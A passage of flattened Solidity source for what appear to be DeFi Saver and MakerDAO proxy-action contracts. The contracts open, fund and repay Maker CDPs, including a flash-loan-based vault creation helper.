urnAllow(address, uint256) public virtual; function frob(uint256, int256, int256) public virtual; function flux(uint256, address, uint256) public virtual; function move(uint256, address, uint256) public virtual; function exit(address, uint256, address, uint256) public virtual; function quit(uint256, address) public virtual; function enter(address, uint256) public virtual; function shift(uint256, uint256) public virtual; } abstract contract VatLike { function can(address, address) public virtual view returns (uint256); function ilks(bytes32) public virtual view returns (uint256, uint256, uint256, uint256, uint256); function dai(address) public virtual view returns (uint256); function urns(bytes32, address) public virtual view returns (uint256, uint256); function frob(bytes32, address, address, address, int256, int256) public virtual; function hope(address) public virtual; function move(address, address, uint256) public virtual; } abstract contract GemJoinLike { function dec() public virtual returns (uint256); function gem() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract GNTJoinLike { function bags(address) public virtual view returns (address); function make(address) public virtual returns (address); } abstract contract DaiJoinLike { function vat() public virtual returns (VatLike); function dai() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract HopeLike { function hope(address) public virtual; function nope(address) public virtual; } abstract contract ProxyRegistryInterface { function build(address) public virtual returns (address); } abstract contract EndLike { function fix(bytes32) public virtual view returns (uint256); function cash(bytes32, uint256) public virtual; function free(bytes32) public virtual; function pack(uint256) public virtual; function skim(bytes32, address) public virtual; } abstract contract JugLike { function drip(bytes32) public virtual returns (uint256); } abstract contract PotLike { function pie(address) public virtual view returns (uint256); function drip() public virtual returns (uint256); function join(uint256) public virtual; function exit(uint256) public virtual; } abstract contract ProxyRegistryLike { function proxies(address) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract ProxyLike { function owner() public virtual view returns (address); } contract Common { uint256 constant RAY = 10**27; // Internal functions function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } // Public functions // solhint-disable-next-line func-name-mixedcase function daiJoin_join(address apt, address urn, uint256 wad) public { // Gets DAI from the user's wallet DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the DAI amount DaiJoinLike(apt).dai().approve(apt, wad); // Joins DAI into the vat DaiJoinLike(apt).join(urn, wad); } } contract MCDCreateProxyActions is Common { // Internal functions function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint256 x) internal pure returns (int256 y) { y = int256(x); require(y >= 0, "int-overflow"); } function toRad(uint256 wad) internal pure returns (uint256 rad) { rad = mul(wad, 10**27); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function // Adapters will automatically handle the difference of precision wad = mul(amt, 10**(18 - GemJoinLike(gemJoin).dec())); } function _getDrawDart(address vat, address jug, address urn, bytes32 ilk, uint256 wad) internal returns (int256 dart) { // Updates stability fee rate uint256 rate = JugLike(jug).drip(ilk); // Gets DAI balance of the urn in the vat uint256 dai = VatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < mul(wad, RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = toInt(sub(mul(wad, RAY), dai) / rate); // This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = mul(uint256(dart), rate) < mul(wad, RAY) ? dart + 1 : dart; } } function _getWipeDart(address vat, uint256 dai, address urn, bytes32 ilk) internal view returns (int256 dart) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = toInt(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint256(dart) <= art ? -dart : -toInt(art); } function _getWipeAllWad(address vat, address usr, address urn, bytes32 ilk) internal view returns (uint256 wad) { // Gets actual rate from the vat (, uint256 rate, , , ) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint256 art) = VatLike(vat).urns(ilk, urn); // Gets actual dai amount in the urn uint256 dai = VatLike(vat).dai(usr); uint256 rad = sub(mul(art, rate), dai); wad = rad / RAY; // If the rad precision has some dust, it will need to request for 1 extra wad wei wad = mul(wad, RAY) < rad ? wad + 1 : wad; } // Public functions function transfer(address gem, address dst, uint256 wad) public { GemLike(gem).transfer(dst, wad); } // solhint-disable-next-line func-name-mixedcase function ethJoin_join(address apt, address urn) public payable { // Wraps ETH in WETH GemJoinLike(apt).gem().deposit{value: msg.value}(); // Approves adapter to take the WETH amount GemJoinLike(apt).gem().approve(address(apt), msg.value); // Joins WETH collateral into the vat GemJoinLike(apt).join(urn, msg.value); } // solhint-disable-next-line func-name-mixedcase function gemJoin_join(address apt, address urn, uint256 wad, bool transferFrom) public { // Only executes for tokens that have approval/transferFrom implementation if (transferFrom) { // Gets token from the user's wallet GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the token amount GemJoinLike(apt).gem().approve(apt, wad); } // Joins token collateral into the vat GemJoinLike(apt).join(urn, wad); } function hope(address obj, address usr) public { HopeLike(obj).hope(usr); } function nope(address obj, address usr) public { HopeLike(obj).nope(usr); } function open(address manager, bytes32 ilk, address usr) public returns (uint256 cdp) { cdp = ManagerLike(manager).open(ilk, usr); } function give(address manager, uint256 cdp, address usr) public { ManagerLike(manager).give(cdp, usr); } function move(address manager, uint256 cdp, address dst, uint256 rad) public { ManagerLike(manager).move(cdp, dst, rad); } function frob(address manager, uint256 cdp, int256 dink, int256 dart) public { ManagerLike(manager).frob(cdp, dink, dart); } function lockETH(address manager, address ethJoin, uint256 cdp) public payable { // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, address(this)); // Locks WETH amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(msg.value), 0 ); } function lockGem(address manager, address gemJoin, uint256 cdp, uint256 wad, bool transferFrom) public { // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, address(this), wad, transferFrom); // Locks token amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(convertTo18(gemJoin, wad)), 0 ); } function draw(address manager, address jug, address daiJoin, uint256 cdp, uint256 wad) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Generates debt in the CDP frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wad)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); } function lockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, uint256 cdp, uint256 wadD ) public payable { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint256 wadD, address owner ) public payable returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD); give(manager, cdp, owner); } function lockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, uint256 cdp, uint256 wadC, uint256 wadD, bool transferFrom ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, urn, wadC, transferFrom); // Locks token amount into the CDP and generates debt frob( manager, cdp, toInt(convertTo18(gemJoin, wadC)), _getDrawDart(vat, jug, urn, ilk, wadD) ); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint256 wadC, uint256 wadD, bool transferFrom, address owner ) public returns (uint256 cdp) { cdp = open(manager, ilk, address(this)); lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom); give(manager, cdp, owner); } } contract MCDCreateTaker { address payable public constant MCD_CREATE_FLASH_LOAN = 0xb09bCc172050fBd4562da8b229Cf3E45Dc3045A6; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateData { uint collAmount; uint daiAmount; address joinAddr; } function openWithLoan( SaverExchangeCore.ExchangeData memory _exchangeData, CreateData memory _createData ) public payable { MCD_CREATE_FLASH_LOAN.transfer(msg.value); //0x fee if (_createData.joinAddr != ETH_JOIN_ADDRESS) { ERC20(getCollateralAddr(_createData.joinAddr)).transferFrom(msg.sender, address(this), _createData.collAmount); ERC20(getCollateralAddr(_createData.joinAddr)).transfer(MCD_CREATE_FLASH_LOAN, _createData.collAmount); } (uint[6] memory numData, address[5] memory addrData, bytes memory callData) = _packData(_createData, _exchangeData); bytes memory paramsData = abi.encode(numData, addrData, callData, address(this)); lendingPool.flashLoan(MCD_CREATE_FLASH_LOAN, DAI_ADDRESS, _createData.daiAmount, paramsData); logger.Log(address(this), msg.sender, "MCDCreate", abi.encode(manager.last(address(this)), _createData.collAmount, _createData.daiAmount)); } function getCollateralAddr(address _joinAddr) internal view returns (address) { return address(Join(_joinAddr).gem()); } function _packData( CreateData memory _createData, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[6] memory numData, address[5] memory addrData, bytes memory callData) { numData = [ _createData.collAmount, _createData.daiAmount, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper, _createData.joinAddr ]; callData = exchangeData.callData; } } abstract contract GemLike { function approve(address, uint) virtual public; function transfer(address, uint) virtual public; function transferFrom(address, address, uint) virtual public; function deposit() virtual public payable; function withdraw(uint) virtual public; } abstract contract ManagerLike { function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } abstract contract VatLike { function can(address, address) virtual public view returns (uint); function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint); function dai(address) virtual public view returns (uint); function urns(bytes32, address) virtual public view returns (uint, uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; } abstract contract GemJoinLike { function dec() virtual public returns (uint); function gem() virtual public returns (GemLike); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } abstract contract GNTJoinLike { function bags(address) virtual public view returns (address); function make(address) virtual public returns (address); } abstract contract DaiJoinLike { function vat() virtual public returns (VatLike); function dai() virtual public returns (GemLike); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } abstract contract HopeLike { function hope(address) virtual public; function nope(address) virtual public; } abstract contract ProxyRegistryInterface { function proxies(address _owner) virtual public view returns (address); function build(address) virtual public returns (address); } abstract contract EndLike { function fix(bytes32) virtual public view returns (uint); function cash(bytes32, uint) virtual public; function free(bytes32) virtual public; function pack(uint) virtual public; function skim(bytes32, address) virtual public; } abstract contract JugLike { function drip(bytes32) virtual public returns (uint); } abstract contract PotLike { function pie(address) virtual public view returns (uint); function drip() virtual public returns (uint); function join(uint) virtual public; function exit(uint) virtual public; } abstract contract ProxyRegistryLike { function proxies(address) virtual public view returns (address); function build(address) virtual public returns (address); } abstract contract ProxyLike { function owner() virtual public view returns (address); } abstract contract DSProxy { function execute(address _target, bytes memory _data) virtual public payable returns (bytes32); function setOwner(address owner_) virtual public; } contract Common { uint256 constant RAY = 10 ** 27; // Internal functions function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } // Public functions function daiJoin_join(address apt, address urn, uint wad) public { // Gets DAI from the user's wallet DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the DAI amount DaiJoinLike(apt).dai().approve(apt, wad); // Joins DAI into the vat DaiJoinLike(apt).join(urn, wad); } } contract SaverProxyActions is Common { event CDPAction(string indexed, uint indexed, uint, uint); // Internal functions function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function // Adapters will automatically handle the difference of precision wad = mul( amt, 10 ** (18 - GemJoinLike(gemJoin).dec()) ); } function _getDrawDart( address vat, address jug, address urn, bytes32 ilk, uint wad ) internal returns (int dart) { // Updates stability fee rate uint rate = JugLike(jug).drip(ilk); // Gets DAI balance of the urn in the vat uint dai = VatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < mul(wad, RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = toInt(sub(mul(wad, RAY), dai) / rate); // This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = mul(uint(dart), rate) < mul(wad, RAY) ? dart + 1 : dart; } } function _getWipeDart( address vat, uint dai, address urn, bytes32 ilk ) internal view returns (int dart) { // Gets actual rate from the vat (, uint rate,,,) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint art) = VatLike(vat).urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = toInt(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint(dart) <= art ? - dart : - toInt(art); } function _getWipeAllWad( address vat, address usr, address urn, bytes32 ilk ) internal view returns (uint wad) { // Gets actual rate from the vat (, uint rate,,,) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint art) = VatLike(vat).urns(ilk, urn); // Gets actual dai amount in the urn uint dai = VatLike(vat).dai(usr); uint rad = sub(mul(art, rate), dai); wad = rad / RAY; // If the rad precision has some dust, it will need to request for 1 extra wad wei wad = mul(wad, RAY) < rad ? wad + 1 : wad; } // Public functions function transfer(address gem, address dst, uint wad) public { GemLike(gem).transfer(dst, wad); } function ethJoin_join(address apt, address urn) public payable { // Wraps ETH in WETH GemJoinLike(apt).gem().deposit{value: msg.value}(); // Approves adapter to take the WETH amount GemJoinLike(apt).gem().approve(address(apt), msg.value); // Joins WETH collateral into the vat GemJoinLike(apt).join(urn, msg.value); } function gemJoin_join(address apt, address urn, uint wad, bool transferFrom) public { // Only executes for tokens that have approval/transferFrom implementation if (transferFrom) { // Gets token from the user's wallet GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the token amount GemJoinLike(apt).gem().approve(apt, wad); } // Joins token collateral into the vat GemJoinLike(apt).join(urn, wad); } function hope( address obj, address usr ) public { HopeLike(obj).hope(usr); } function nope( address obj, address usr ) public { HopeLike(obj).nope(usr); } function open( address manager, bytes32 ilk, address usr ) public returns (uint cdp) { cdp = ManagerLike(manager).open(ilk, usr); } function give( address manager, uint cdp, address usr ) public { ManagerLike(manager).give(cdp, usr); emit CDPAction('give', cdp, 0, 0); } function giveToProxy( address proxyRegistry, address manager, uint cdp, address dst ) public { // Gets actual proxy address address proxy = ProxyRegistryLike(proxyRegistry).proxies(dst); // Checks if the proxy address already existed and dst address is still the owner if (proxy == address(0) || ProxyLike(proxy).owner() != dst) { uint csize; assembly { csize := extcodesize(dst) } // We want to avoid creating a proxy for a contract address that might not be able to handle proxies, then losing the CDP require(csize == 0, "Dst-is-a-contract"); // Creates the proxy for the dst address proxy = ProxyRegistryLike(proxyRegistry).build(dst); } // Transfers CDP to the dst proxy give(manager, cdp, proxy); } function cdpAllow( address manager, uint cdp, address usr, uint ok ) public { ManagerLike(manager).cdpAllow(cdp, usr, ok); } function urnAllow( address manager, address usr, uint ok ) public { ManagerLike(manager).urnAllow(usr, ok); } function flux( address manager, uint cdp, address dst, uint wad ) public { ManagerLike(manager).flux(cdp, dst, wad); } function move( address manager, uint cdp, address dst, uint rad ) public { ManagerLike(manager).move(cdp, dst, rad); } function frob( address manager, uint cdp, int dink, int dart ) public { ManagerLike(manager).frob(cdp, dink, dart); } function quit( address manager, uint cdp, address dst ) public { ManagerLike(manager).quit(cdp, dst); } function enter( address manager, address src, uint cdp ) public { ManagerLike(manager).enter(src, cdp); } function shift( address manager, uint cdpSrc, uint cdpOrg ) public { ManagerLike(manager).shift(cdpSrc, cdpOrg); } function makeGemBag( address gemJoin ) public returns (address bag) { bag = GNTJoinLike(gemJoin).make(address(this)); } function lockETH( address manager, address ethJoin, uint cdp ) public payable { // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, address(this)); // Locks WETH amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(msg.value), 0 ); emit CDPAction('lockETH', cdp, msg.value, 0); } function lockGem( address manager, address gemJoin, uint cdp, uint wad, bool transferFrom ) public { // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, address(this), wad, transferFrom); // Locks token amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(convertTo18(gemJoin, wad)), 0 ); emit CDPAction('lockGem', cdp, wad, 0); } function freeETH( address manager, address ethJoin, uint cdp, uint wad ) public { // Unlocks WETH amount from the CDP frob(manager, cdp, -toInt(wad), 0); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wad); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wad); // Sends ETH back to the user's wallet msg.sender.transfer(wad); emit CDPAction('freeETH', cdp, wad, 0); } function freeGem( address manager, address gemJoin, uint cdp, uint wad ) public { uint wad18 = convertTo18(gemJoin, wad); // Unlocks token amount from the CDP frob(manager, cdp, -toInt(wad18), 0); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad18); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, wad); emit CDPAction('freeGem', cdp, wad, 0); } function exitETH( address manager, address ethJoin, uint cdp, uint wad ) public { // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wad); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wad); // Sends ETH back to the user's wallet msg.sender.transfer(wad); } function exitGem( address manager, address gemJoin, uint cdp, uint wad ) public { // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), convertTo18(gemJoin, wad)); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, wad); } function draw( address manager, address jug, address daiJoin, uint cdp, uint wad ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Generates debt in the CDP frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wad)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); emit CDPAction('draw', cdp, 0, wad); } function wipe( address manager, address daiJoin, uint cdp, uint wad ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); address own = ManagerLike(manager).owns(cdp); if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) { // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, wad); // Paybacks debt to the CDP frob(manager, cdp, 0, _getWipeDart(vat, VatLike(vat).dai(urn), urn, ilk)); } else { // Joins DAI amount into the vat daiJoin_join(daiJoin, address(this), wad); // Paybacks debt to the CDP VatLike(vat).frob( ilk, urn, address(this), address(this), 0, _getWipeDart(vat, wad * RAY, urn, ilk) ); } emit CDPAction('wipe', cdp, 0, wad); } function wipeAll( address manager, address daiJoin, uint cdp ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); address own = ManagerLike(manager).owns(cdp); if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) { // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); // Paybacks debt to the CDP frob(manager, cdp, 0, -int(art)); } else { // Joins DAI amount into the vat daiJoin_join(daiJoin, address(this), _getWipeAllWad(vat, address(this), urn, ilk)); // Paybacks debt to the CDP VatLike(vat).frob( ilk, urn, address(this), address(this), 0, -int(art) ); } emit CDPAction('wipeAll', cdp, 0, art); } function lockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, uint cdp, uint wadD ) public payable { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint wadD ) public payable returns (uint cdp) { cdp = open(manager, ilk, address(this)); lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD); emit CDPAction('openLockETHAndDraw', cdp, msg.value, wadD); } function lockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD, bool transferFrom ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, urn, wadC, transferFrom); // Locks token amount into the CDP and generates debt frob(manager, cdp, toInt(convertTo18(gemJoin, wadC)), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD, bool transferFrom ) public returns (uint cdp) { cdp = open(manager, ilk, address(this)); lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom); emit CDPAction('openLockGemAndDraw', cdp, wadC, wadD); } function wipeAllAndFreeETH( address manager, address ethJoin, address daiJoin, uint cdp, uint wadC ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); // Paybacks debt to the CDP and unlocks WETH amount from it frob( manager, cdp, -toInt(wadC), -int(art) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wadC); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wadC); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wadC); // Sends ETH back to the user's wallet msg.sender.transfer(wadC); emit CDPAction('wipeAllAndFreeETH', cdp, wadC, art); } function wipeAndFreeGem( address manager, address gemJoin, address daiJoin, uint cdp, uint wadC, uint wadD ) public { address urn = ManagerLike(manager).urns(cdp); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, wadD); uint wad18 = convertTo18(gemJoin, wadC); // Paybacks debt to the CDP and unlocks token amount from it frob( manager, cdp, -toInt(wad18), _getWipeDart(ManagerLike(manager).vat(), VatLike(ManagerLike(manager).vat()).dai(urn), urn, ManagerLike(manager).ilks(cdp)) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad18); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, wadC); } function wipeAllAndFreeGem( address manager, address gemJoin, address daiJoin, uint cdp, uint wadC ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); uint wad18 = convertTo18(gemJoin, wadC); // Paybacks debt to the CDP and unlocks token amount from it frob( manager, cdp, -toInt(wad18), -int(art) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad18); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, wadC); emit CDPAction('wipeAllAndFreeGem', cdp, wadC, art); } function createProxyAndCDP( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint wadD, address registry ) public payable returns(uint) { address proxy = ProxyRegistryInterface(registry).build(msg.sender); uint cdp = openLockETHAndDraw(manager, jug, ethJoin, daiJoin, ilk, wadD ); give(manager, cdp, address(proxy)); return cdp; } function createProxyAndGemCDP( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint wadC, uint wadD, bool transferFrom, address registry ) public returns(uint) { address proxy = ProxyRegistryInterface(registry).build(msg.sender); uint cdp = openLockGemAndDraw(manager, jug, gemJoin, daiJoin, ilk, wadC, wadD, transferFrom); give(manager, cdp, address(proxy)); return cdp; } } contract MCDSaverProxyHelper is DSMath { /// @notice Returns a normalized debt _amount based on the current rate /// @param _amount Amount of dai to be normalized /// @param _rate Current rate of the stability fee /// @param _daiVatBalance Balance od Dai in the Vat for that CDP function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) { if (_daiVatBalance < mul(_amount, RAY)) { dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate); dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart; } } /// @notice Converts a number to Rad percision /// @param _wad The input number in wad percision function toRad(uint _wad) internal pure returns (uint) { return mul(_wad, 10 ** 27); } /// @notice Converts a number to 18 decimal percision /// @param _joinAddr Join address of the collateral /// @param _amount Number to be converted function convertTo18(address _joinAddr, uint256 _amount) internal view returns (uint256) { return mul(_amount, 10 ** (18 - Join(_joinAddr).dec())); } /// @notice Converts a uint to int and checks if positive /// @param _x Number to be converted function toPositiveInt(uint _x) internal pure returns (int y) { y = int(_x); require(y >= 0, "int-overflow"); } /// @notice Gets Dai amount in Vat which can be added to Cdp /// @param _vat Address of Vat contract /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function normalizePaybackAmount(address _vat, address _urn, bytes32 _ilk) internal view returns (int amount) { uint dai = Vat(_vat).dai(_urn); (, uint rate,,,) = Vat(_vat).ilks(_ilk); (, uint art) = Vat(_vat).urns(_ilk, _urn); amount = toPositiveInt(dai / rate); amount = uint(amount) <= art ? - amount : - toPositiveInt(art); } /// @notice Gets the whole debt of the CDP /// @param _vat Address of Vat contract /// @param _usr Address of the Dai holder /// @param _urn Urn of the Cdp /// @param 